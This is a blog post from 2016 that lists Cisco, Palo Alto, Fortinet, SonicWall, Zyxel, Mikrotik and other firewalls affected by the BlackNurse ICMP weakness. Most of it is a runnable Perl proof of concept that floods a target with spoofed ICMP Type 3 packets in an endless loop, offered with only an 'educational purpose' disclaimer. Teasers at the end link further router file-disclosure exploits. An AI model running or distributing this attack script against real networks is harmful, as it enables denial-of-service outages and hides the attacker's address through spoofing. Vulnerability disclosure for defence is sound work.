BlackNurse Spoofed ICMP weakness DoS PoC

BlackNurse Spoofed ICMP weakness DoS PoC

Posted by ethical-hacker | Monday December 5th, 2016 | Vulnerabilities
    Vulnerable:

  • Cisco ASA 5505, 5506, 5510, 5515, 5516, 5525 , 5540, 5545, 5585
  • Cisco 6500 routers with SUP2T and Netflow v9
  • Cisco ASA 5550 (legacy) и 5515-X (last generation)
  • Dell SonicWall no ‘ICMP flood’ protection
  • Some not confirmed devices Palo Alto Networks
  • Palo Alto 5050 Firewalls with firmware 7.1.4-h2
  • Zyxel NWA3560-N (LAN vulnerable)
  • Zyxel Zywall USG50
  • Fortinet v5.4.1
  • Fortigate units 60c and 100D (ICMP dropped)
  • Mikrotik Routerboard 2011UiAS with firmware 3.24 и RouterOs 6.37.1(last available)
  • All Stormshield firewalls
  • Peplink Balance 20/30 with 6.3.3 firmware (last available)
#!/usr/bin/perl
#
#  BlackNurse Spoofed ICMP weakness DoS PoC
#
#  Copyright 2016 (c) Todor Donev
#  Varna, Bulgaria
#  [email protected]
#  https://www.ethical-hacker.org/
#  https://www.facebook.com/ethicalhackerorg
#  http://pastebin.com/u/hackerscommunity 
#
# 
#  Description:
#  Blacknurse is a low bandwidth ICMP attack that is capable of doing denial 
#  of service to well known firewalls. Most ICMP attacks that we see are based 
#  on ICMP Type 8 Code 0 also called a ping flood attack. BlackNurse is based 
#  on ICMP with Type 3 Code 3 packets. We know that when a user has allowed ICMP 
#  Type 3 Code 3 to outside interfaces, the BlackNurse attack becomes highly 
#  effective even at low bandwidth. Low bandwidth is in this case around 15-18 
#  Mbit/s. This is to achieve the volume of packets needed which is around 40 to 
#  50K packets per second. It does not matter if you have a 1 Gbit/s Internet 
#  connection. The impact we see on different firewalls is typically high CPU 
#  loads. When an attack is ongoing, users from the LAN side will no longer be 
#  able to send/receive traffic to/from the Internet. All firewalls we have seen 
#  recover when the attack stops.
#
#  Disclaimer:
#  This or previous program is for Educational purpose ONLY. Do not 
#  use it without permission. The usual disclaimer applies, especially 
#  the fact that Todor Donev is not liable for any damages caused by 
#  direct or indirect use of the information or functionality provided 
#  by these programs. The author or any Internet provider bears NO 
#  responsibility for content or misuse of these programs or any 
#  derivatives thereof. By using these programs you accept the fact
#  that any damage (dataloss, system crash, system compromise, etc.) 
#  caused by the use of these programs is not Todor Donev's 
#  responsibility.
#
#  Use at your own risk and educational
#  purpose ONLY!
#
#  Thanks to Maya (Maiya|Mia) Hristova and all my friends 
#  that support me.
#
#
  
use Net::RawIP;

print "[ \"BlackNurse\" Spoofed ICMP weakness DoS PoC\n";
print "[ ======\n";
print "[ Usg: $0 <spoofed address> <target>\n";
print "[ Example: perl $0 133.71.33.7 192.168.1.1\n";
print "[ ======\n";
print "[ <todor.donev\@gmail.com> Todor Donev\n";
print "[ Facebook: https://www.facebook.com/ethicalhackerorg\n";
print "[ Website: https://www.ethical-hacker.org/\n";

my $spoof          = $ARGV[0];
my $target         = $ARGV[1];

my $sock =  new Net::RawIP({ icmp => {} }) or die;

print "[ Sending crafted packets..\n";
while () {
                $sock->set({  ip =>  { saddr  => $spoof, daddr => $target},
                              icmp =>  { type => 3, code => 3} });
                $sock->send;
                $sock->set({  icmp => { type=>3, code => 0}});
                $sock->send;
                $sock->set({  icmp => { type=>3, code => 1}});
                  $sock->send;
                $sock->set({  icmp => { type=>3, code => 2}});
                  $sock->send;
}

Add a comment

Related Blogs

ethical hacker
Posted by ethical-hacker | 05 December 2016
#!/bin/sh # # D-Link ADSL ROUTER DSL-2750E SEA_1.07 # Remote File Disclosure # # Modem Name: DSL-2750E # Firmware Version: SEA_1.07 # # Copyright 2016 (c) Todor Donev # &amp;lt;todor.donev...
ethical hacker
Posted by ethical-hacker | 05 December 2016
#!/bin/sh # # NETGEAR ADSL ROUTER JNR2010 1.0.0.20 # Authenticated Remote File Disclosure # # Hardware Version: JNR2010 # Firmware Version: 1.0.0.20 # # Copyright 2016 (c) Todor Donev #...
ethical hacker
Posted by ethical-hacker | 05 December 2016
#!/bin/sh # # NETGEAR ADSL ROUTER JNR1010 1.0.0.32 # Authenticated Remote File Disclosure # # Hardware Version: JNR1010 # Firmware Version: 1.0.0.32 # # Copyright 2016 (c) Todor Donev #...